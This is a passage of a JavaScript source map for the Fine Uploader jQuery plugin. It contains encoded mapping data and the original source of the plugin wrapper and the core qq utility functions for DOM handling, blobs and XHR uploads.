AASysD,EAAgB55C,OAAO,IAGlDggD,iBAAkB,SAASz0D,GACvB,MAAOpE,IAAGoE,GAAI4B,SAASysD,EAAgBa,gBAAgB,IAG3DqF,oBAAqB,SAAS97C,GAC1B43C,GAAKY,EAAYx4C,IACjBtY,EAAKmxD,EAAS74C,KAGlB2qC,gBAAiB,SAAS3qC,GACtB5a,KAAK0oD,cAAc9tC,EAAI,IACvB5a,KAAKsqD,WAAW1vC,GAChB43C,GAAKoB,EAAWh5C,KAGpBuvC,iBAAkB,SAASvvC,GACvB43C,GAAKc,EAAU14C,KAGnBuwC,iBAAkB,SAASvwC,GACvBtY,EAAKgxD,EAAU14C,KAGnBi8C,eAAgB,SAAS10D,GACrB,MAAOpE,IAAGoE,GAAI4B,SAASysD,EAAgBc,cAAc,IAGzDwF,QAAS,SAAS30D,GACd,MAAOpE,IAAGoE,GAAI4B,SAASysD,EAAgBrsC,OAAO,IAGlDpH,WAAY,SAASnC,EAAIvV,GACrB,GAAI0W,GAAO6G,EAAQhI,EAEfmB,KACAy2C,GAAKz2C,GACLhe,GAAGge,GAAM3W,QAAQC,KAIzBqjD,cAAe,SAAS9tC,EAAIvV,GACxB,GAAI0xD,GAAS5D,EAAcvxC,EAAQhH,GAAK41C,EAAgBe,WAEpDwF,KAEY,MAAR1xD,EACAtH,GAAGg5D,GAAQvxD,YAGXzH,GAAGg5D,GAAQ3xD,QAAQC,KAK/B0jD,YAAa,SAASnuC,GAClB7c,GAAG6jB,EAAQhH,IAAKtW,YAAYurD,GAC5BvtD,EAAKsxD,EAAWh5C,KAGpByvC,YAAa,SAASzvC,GAClB7c,GAAG6jB,EAAQhH,IAAKvW,SAASwrD,GACzB2C,GAAKoB,EAAWh5C,KAGpBwxC,gBAAiB,SAASxxC,EAAIi6C,EAAevzC,GACpCthB,KAAK6kD,gBAAgBjqC,KACtB01C,EAAqBzwD,MAAM+a,GAAIA,EAAI0G,qBAAsBA,EAAsBuzC,cAAeA,KAC7FxE,GAAgCwC,MAIzC3G,gBAAiB,SAAStxC,EAAIsL,EAAc8uC,EAAgB1zC,GACnDthB,KAAK6kD,gBAAgBjqC,KACtB01C,EAAqBzwD,MAAMyhB,qBAAsBA,EAAsByxC,QAAQ,EAAMn4C,GAAIA,EAAIsL,aAAcA,EAAc8uC,eAAgBA,KACxI3E,GAAgCwC,MAIzCzE,UAAW,SAASjtD,GAChB,MAAOpD,IAAGyV,kBAAkB4C,iBAAmBi9C,EAAUlyD,IAG7DktD,WAAY,SAASltD,EAAMf,EAASmuD,GAChC,GAAIyI,GAAS3D,EAAUlyD,GACnB81D,EAAY9D,EAAc6D,EAAQxG,EAAgBI,eAClDsG,EAAUF,EAAOlyD,qBAAqB,SAAS,GAC/CqyD,EAAYhE,EAAc6D,EAAQxG,EAAgBE,oBAClD0G,EAAQjE,EAAc6D,EAAQxG,EAAgBK,gBAC9CnkD,EAAU,GAAI3O,IAAG4O,QAEjB0qD,EAAe,WACXF,EAAUt0D,oBAAoB,QAASy0D,GACvCF,GAASA,EAAMv0D,oBAAoB,QAAS00D,GAC5C7qD,EAAQK,WAGZuqD,EAAqB,WACjBH,EAAUt0D,oBAAoB,QAASy0D,GACvCN,EAAOQ,SAGXD,EAAiB,WACbP,EAAOn0D,oBAAoB,QAASw0D,GACpCD,EAAMv0D,oBAAoB,QAAS00D,GACnCP,EAAOQ,QAEP9qD,EAAQG,QAAQqqD,GAAWA,EAAQjvD,OAc3C,OAXA+uD,GAAOt0D,iBAAiB,QAAS20D,GACjCF,EAAUz0D,iBAAiB,QAAS40D,GACpCF,GAASA,EAAM10D,iBAAiB,QAAS60D,GAErCL,IACAA,EAAQjvD,MAAQsmD,GAEpB0I,EAAU1xD,YAAcnF,EAExB42D,EAAOS,YAEA/qD,MC/gCnB3O,GAAG25D,eAAiB,SAASC,EAAGC,GAC5B,YAqBA,SAASxO,GAAW3oD,GAChBsS,EAAStQ,OAAOhC,EAASmb,EAAKi8C,UAAW,SAAS7jC,GAE9CA,EAAQA,GAASttB,OAAOstB,KAGxB,IAAI5mB,GAAS4mB,EAAM5mB,QAAU4mB,EAAM8jC,UAEnCl8C,GAAKm8C,UAAU3qD,EAAQ4mB,KA3B/B,GAAIjhB,GAAW,GAAIhV,IAAG6U,eAClBgJ,GACIi8C,UAAW,QACXG,SAAU,KACVD,UAAW,SAAS3qD,EAAQ4mB,KAKpCj2B,IAAG+F,OAAO9D,MACNopD,WAAY,SAAS3oD,GACjB2oD,EAAW3oD,IAGfqS,QAAS,WACLC,EAASD,aAiBjB/U,GAAG+F,OAAO8zD,GACNK,kBAAmB,SAASzvD,GACxB,MAAOA,GAAK0vD,UAGhBC,kBAAmB,WACf,MAAOplD,MAIfhV,GAAG+F,OAAO8X,EAAM+7C,GAEZ/7C,EAAKo8C,UACL5O,EAAWxtC,EAAKo8C,WClDxBj6D,GAAGkoD,wBAA0B,SAAS0R,GAClC,YAqBA,SAASS,GAAahrD,EAAQ4mB,GAC1Bj2B,GAAGY,KAAK05D,EAAgB,SAASC,EAAYhqC,GACzC,GACIpN,GADAq3C,EAA2BD,EAAW36D,OAAO,GAAGC,cAAgB06D,EAAWz6D,MAAM,EAGrF,IAAI+d,EAAKirC,WAAW,KAAO0R,GAA0BnrD,GAKjD,MAJA8T,GAAStF,EAAKirC,WAAWnB,UAAUt4C,GACnCrP,GAAG4R,eAAeqkB,GAClBpY,EAAKzb,IAAIpC,GAAGiL,OAAO,+DAAgE4S,EAAK4rC,UAAUtmC,GAASA,IAC3GoN,EAAQpN,IACD,IA7BnB,GAAIs3C,MACA58C,GACIirC,WAAY,KACZ1mD,IAAK,SAASC,EAAS+mD,KACvBC,aAAc,SAASlmC,KACvB8J,SAAU,SAAS9J,KACnBmmC,QAAS,SAASnmC,KAClBomC,QAAS,SAASpmC,KAClBqmC,WAAY,SAASrmC,KACrBsmC,UAAW,SAAStmC,MAExBm3C,GACIr4C,OAAQ,SAASpF,GAAMgB,EAAKoP,SAASpQ,IACrCuJ,MAAQ,SAASvJ,GAAMgB,EAAKyrC,QAAQzsC,IACpC02C,aAAc,SAAS12C,GAAMgB,EAAKwrC,aAAaxsC,IAC/ChE,MAAO,SAASgE,GAAMgB,EAAK0rC,QAAQ1sC,IACnCy2C,eAAgB,SAASz2C,GAAMgB,EAAK2rC,WAAW3sC,IAkBvD7c,IAAG+F,OAAO8X,EAAM+7C,GAEhB/7C,EAAKi8C,UAAY,QACjBj8C,EAAKm8C,UAAYK,EACjBx8C,EAAKo8C,SAAWp8C,EAAKirC,WAAWsP,cAEhCp4D,GAAG+F,OAAO9D,KAAM,GAAIjC,IAAG25D,eAAe97C,EAAM48C,KC1ChDz6D,GAAG2pD,qBAAuB,SAASiQ,GAC/B,YAiBA,SAASS,GAAahrD,EAAQ4mB,GAC1B,GAAIpY,EAAKirC,WAAWwP,WAAWjpD,IAAWwO,EAAKirC,WAAW0P,WAAWnpD,GAAS,CAC1E,GAAI8T,GAAStF,EAAKirC,WAAWnB,UAAUt4C,GACnC8N,EAASU,EAAKisC,kBAAkB3mC,EAGhChG,KAAWnd,GAAGmd,OAAOoC,YACrB1B,EAAKzb,IAAIpC,GAAGiL,OAAO,4DAA6D4S,EAAK4rC,UAAUtmC,GAASA,IACxGnjB,GAAG4R,eAAeqkB,GAElBwkC,EAAqBC,mBAAmBv3C,EAAQ9T,GAAQ,KAzBpE,GAAIorD,MACA58C,GACIirC,WAAY,KACZ1mD,IAAK,SAASC,EAAS+mD,KACvBt9B,SACIjK,KAAM,iBACN6xC,aAAc,yBAElB5J,kBAAmB,SAAS3mC,KAC5BsmC,UAAW,SAAStmC,KAG5BnjB,IAAG+F,OAAO8X,EAAM+7C,GAkBhB/7C,EAAKi8C,UAAY,QACjBj8C,EAAKm8C,UAAYK,EAEjBr6D,GAAG+F,OAAO9D,KAAM,GAAIjC,IAAG26D,oBAAoB98C,EAAM48C,KCpCrDz6D,GAAG+qD,4BAA8B,SAAS6O,EAAGa,GACzC,YAaA,SAASG,GAAiBvrD,EAAQ4mB,GAC9B,GAAIpY,EAAKirC,WAAW2P,YAAYppD,GAAS,CACrC,GAAI8T,GAAStF,EAAKirC,WAAWnB,UAAUt4C,GACnC8N,EAASU,EAAKisC,kBAAkB3mC,EAEhChG,KAAWnd,GAAGmd,OAAOoC,YACrB1B,EAAKzb,IAAIpC,GAAGiL,OAAO,kEAAmE4S,EAAK4rC,UAAUtmC,GAASA,IAC9Gs3C,EAAqBC,mBAAmBv3C,EAAQ9T,KAlB5D,GAAIwO,IACIirC,WAAY,KACZgB,kBAAmB,SAAS3mC,KAC5B/gB,IAAK,SAASC,EAAS+mD,KAG1BqR,KACDA,MAgBJ58C,EAAKi8C,UAAY,UACjBj8C,EAAKm8C,UAAYY,EAEjB56D,GAAG+F,OAAO8X,EAAM+7C,GAChB55D,GAAG+F,OAAO9D,KAAM,GAAIjC,IAAG26D,oBAAoB98C,EAAM48C,KCzBrDz6D,GAAG4pD,0BAA4B,SAAS/rC,GACpC,YAEAA,GAAKi8C,UAAY,QACjBj8C,EAAKo8C,SAAW,KAEhBj6D,GAAG+F,OAAO9D,KAAM,GAAIjC,IAAG+qD,4BAA4BltC,QCVvD7d,GAAG26D,oBAAsB,SAASf,EAAGa,GACjC,YAWA,SAASI,GAAyB13C,GAC9B,GAAI23C,GAAkBj9C,EAAK4rC,UAAUtmC,GACjC5O,EAASumD,EAAgBtmD,YAAY,IAMzC,OAJID,GAAS,IACTumD,EAAkBA,EAAgBrmD,OAAO,EAAGF,IAGzCumD,EAGX,QAASC,GAAqB53C,GAC1B,GAAI63C,GAAWn9C,EAAK4rC,UAAUtmC,EAC9B,OAAOnjB,IAAGqU,aAAa2mD,GAI3B,QAASC,GAAiBC,EAAoB/3C,GAC1C,GACIg4C,GADAp8C,EAAUm8C,EAAmBhxD,KAGjB5J,UAAZye,GAAyB/e,GAAG6K,QAAQkU,GAAS1a,OAAS,IACtD82D,EAAgBJ,EAAqB53C,GAEf7iB,SAAlB66D,IACAp8C,EAAUA,EAAU,IAAMo8C,GAG9Bt9C,EAAKksC,UAAU5mC,EAAQpE,IAG3BlB,EAAKmsC,sBAAsB7mC,GAAQ,GAIvC,QAASi4C,GAAyBjC,EAASh2C,GACvCs3C,EAAqBL,oBAAoB11D,OAAOy0D,EAAS,OAAQ,WAC7D8B,EAAiB9B,EAASh2C,KAKlC,QAASk4C,GAA6BlC,EAASh2C,GAC3Cs3C,EAAqBL,oBAAoB11D,OAAOy0D,EAAS,QAAS,SAASljC,GAEvE,GAAInE,GAAOmE,EAAMqlC,SAAWrlC,EAAMslC,KAErB,MAATzpC,GACAmpC,EAAiB9B,EAASh2C,KAzDtC,GAAItF,IACIirC,WAAY,KACZ1mD,IAAK,SAASC,EAAS+mD,KACvBU,kBAAmB,SAAS3mC,KAC5BsmC,UAAW,SAAStmC,KACpB4mC,UAAW,SAAS5mC,EAAQpE,KAC5BirC,sBAAuB,SAAS7mC,EAAQ8mC,KAwDhDjqD,IAAG+F,OAAO8X,EAAM+7C,GAEhB/7C,EAAKo8C,SAAWp8C,EAAKirC,WAAWsP,cAEhCp4D,GAAG+F,OAAO9D,KAAM,GAAIjC,IAAG25D,eAAe97C,EAAM48C,IAE5Cz6D,GAAG+F,OAAO00D,GACNC,mBAAoB,SAAS79C,EAAIxN,EAAQmsD,GACrC,GAAIN,GAAqBr9C,EAAKirC,WAAWqB,aAAattC,EAEtDgB,GAAKmsC,sBAAsBntC,GAAI,GAE/Bq+C,EAAmBhxD,MAAQ2wD,EAAyBh+C,GAEhD2+C,GACAN,EAAmBO,QAGvBL,EAAyBF,EAAoBr+C,GAC7Cw+C,EAA6BH,EAAoBr+C,Q5CvF9BlU","file":"jquery.fine-uploader.min.js","sourcesContent":[null,"/*globals jQuery, qq*/\n(function($) {\n    \"use strict\";\n    var $el,\n        pluginOptions = [\"uploaderType\", \"endpointType\"];\n\n    function init(options) {\n        var xformedOpts = transformVariables(options || {}),\n            newUploaderInstance = getNewUploaderInstance(xformedOpts);\n\n        uploader(newUploaderInstance);\n        addCallbacks(xformedOpts, newUploaderInstance);\n\n        return $el;\n    }\n\n    function getNewUploaderInstance(params) {\n        var uploaderType = pluginOption(\"uploaderType\"),\n            namespace = pluginOption(\"endpointType\");\n\n        // If the integrator has defined a specific type of uploader to load, use that, otherwise assume `qq.FineUploader`\n        if (uploaderType) {\n            // We can determine the correct constructor function to invoke by combining \"FineUploader\"\n            // with the upper camel cased `uploaderType` value.\n            uploaderType = uploaderType.charAt(0).toUpperCase() + uploaderType.slice(1).toLowerCase();\n\n            if (namespace) {\n                return new qq[namespace][\"FineUploader\" + uploaderType](params);\n            }\n\n            return new qq[\"FineUploader\" + uploaderType](params);\n        }\n        else {\n            if (namespace) {\n                return new qq[namespace].FineUploader(params);\n            }\n\n            return new qq.FineUploader(params);\n        }\n    }\n\n    function dataStore(key, val) {\n        var data = $el.data(\"fineuploader\");\n\n        if (val) {\n            if (data === undefined) {\n                data = {};\n            }\n            data[key] = val;\n            $el.data(\"fineuploader\", data);\n        }\n        else {\n            if (data === undefined) {\n                return null;\n            }\n            return data[key];\n        }\n    }\n\n    //the underlying Fine Uploader instance is stored in jQuery's data stored, associated with the element\n    // tied to this instance of the plug-in\n    function uploader(instanceToStore) {\n        return dataStore(\"uploader\", instanceToStore);\n    }\n\n    function pluginOption(option, optionVal) {\n        return dataStore(option, optionVal);\n    }\n\n    // Implement all callbacks defined in Fine Uploader as functions that trigger appropriately names events and\n    // return the result of executing the bound handler back to Fine Uploader\n    function addCallbacks(transformedOpts, newUploaderInstance) {\n        var callbacks = transformedOpts.callbacks = {};\n\n        $.each(newUploaderInstance._options.callbacks, function(prop, nonJqueryCallback) {\n            var name, callbackEventTarget;\n\n            name = /^on(\\w+)/.exec(prop)[1];\n            name = name.substring(0, 1).toLowerCase() + name.substring(1);\n            callbackEventTarget = $el;\n\n            callbacks[prop] = function() {\n                var originalArgs = Array.prototype.slice.call(arguments),\n                    transformedArgs = [],\n                    nonJqueryCallbackRetVal, jqueryEventCallbackRetVal;\n\n                $.each(originalArgs, function(idx, arg) {\n                    transformedArgs.push(maybeWrapInJquery(arg));\n                });\n\n                nonJqueryCallbackRetVal = nonJqueryCallback.apply(this, originalArgs);\n\n                try {\n                    jqueryEventCallbackRetVal = callbackEventTarget.triggerHandler(name, transformedArgs);\n                }\n                catch (error) {\n                    qq.log(\"Caught error in Fine Uploader jQuery event handler: \" + error.message, \"error\");\n                }\n\n                /*jshint -W116*/\n                if (nonJqueryCallbackRetVal != null) {\n                    return nonJqueryCallbackRetVal;\n                }\n                return jqueryEventCallbackRetVal;\n            };\n        });\n\n        newUploaderInstance._options.callbacks = callbacks;\n    }\n\n    //transform jQuery objects into HTMLElements, and pass along all other option properties\n    function transformVariables(source, dest) {\n        var xformed, arrayVals;\n\n        if (dest === undefined) {\n            if (source.uploaderType !== \"basic\") {\n                xformed = { element: $el[0] };\n            }\n            else {\n                xformed = {};\n            }\n        }\n        else {\n            xformed = dest;\n        }\n\n        $.each(source, function(prop, val) {\n            if ($.inArray(prop, pluginOptions) >= 0) {\n                pluginOption(prop, val);\n            }\n            else if (val instanceof $) {\n                xformed[prop] = val[0];\n            }\n            else if ($.isPlainObject(val)) {\n                xformed[prop] = {};\n                transformVariables(val, xformed[prop]);\n            }\n            else if ($.isArray(val)) {\n                arrayVals = [];\n                $.each(val, function(idx, arrayVal) {\n                    var arrayObjDest = {};\n\n                    if (arrayVal instanceof $) {\n                        $.merge(arrayVals, arrayVal);\n                    }\n                    else if ($.isPlainObject(arrayVal)) {\n                        transformVariables(arrayVal, arrayObjDest);\n                        arrayVals.push(arrayObjDest);\n                    }\n                    else {\n                        arrayVals.push(arrayVal);\n                    }\n                });\n                xformed[prop] = arrayVals;\n            }\n            else {\n                xformed[prop] = val;\n            }\n        });\n\n        if (dest === undefined) {\n            return xformed;\n        }\n    }\n\n    function isValidCommand(command) {\n        return $.type(command) === \"string\" &&\n            !command.match(/^_/) && //enforce private methods convention\n            uploader()[command] !== undefined;\n    }\n\n    // Assuming we have already verified that this is a valid command, call the associated function in the underlying\n    // Fine Uploader instance (passing along the arguments from the caller) and return the result of the call back to the caller\n    function delegateCommand(command) {\n        var xformedArgs = [],\n            origArgs = Array.prototype.slice.call(arguments, 1),\n            retVal;\n\n        transformVariables(origArgs, xformedArgs);\n\n        retVal = uploader()[command].apply(uploader(), xformedArgs);\n\n        return maybeWrapInJquery(retVal);\n    }\n\n    // If the value is an `HTMLElement` or `HTMLDocument`, wrap it in a `jQuery` object\n    function maybeWrapInJquery(val) {\n        var transformedVal = val;\n\n        // If the command is returning an `HTMLElement` or `HTMLDocument`, wrap it in a `jQuery` object\n        /*jshint -W116*/\n        if (val != null && typeof val === \"object\" &&\n           (val.nodeType === 1 || val.nodeType === 9) && val.cloneNode) {\n\n            transformedVal = $(val);\n        }\n\n        return transformedVal;\n    }\n\n    $.fn.fineUploader = function(optionsOrCommand) {\n        var self = this, selfArgs = arguments, retVals = [];\n\n        this.each(function(index, el) {\n            $el = $(el);\n\n            if (uploader() && isValidCommand(optionsOrCommand)) {\n                retVals.push(delegateCommand.apply(self, selfArgs));\n\n                if (self.length === 1) {\n                    return false;\n                }\n            }\n            else if (typeof optionsOrCommand === \"object\" || !optionsOrCommand) {\n                init.apply(self, selfArgs);\n            }\n            else {\n                $.error(\"Method \" +  optionsOrCommand + \" does not exist on jQuery.fineUploader\");\n            }\n        });\n\n        if (retVals.length === 1) {\n            return retVals[0];\n        }\n        else if (retVals.length > 1) {\n            return retVals;\n        }\n\n        return this;\n    };\n\n}(jQuery));\n","/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if 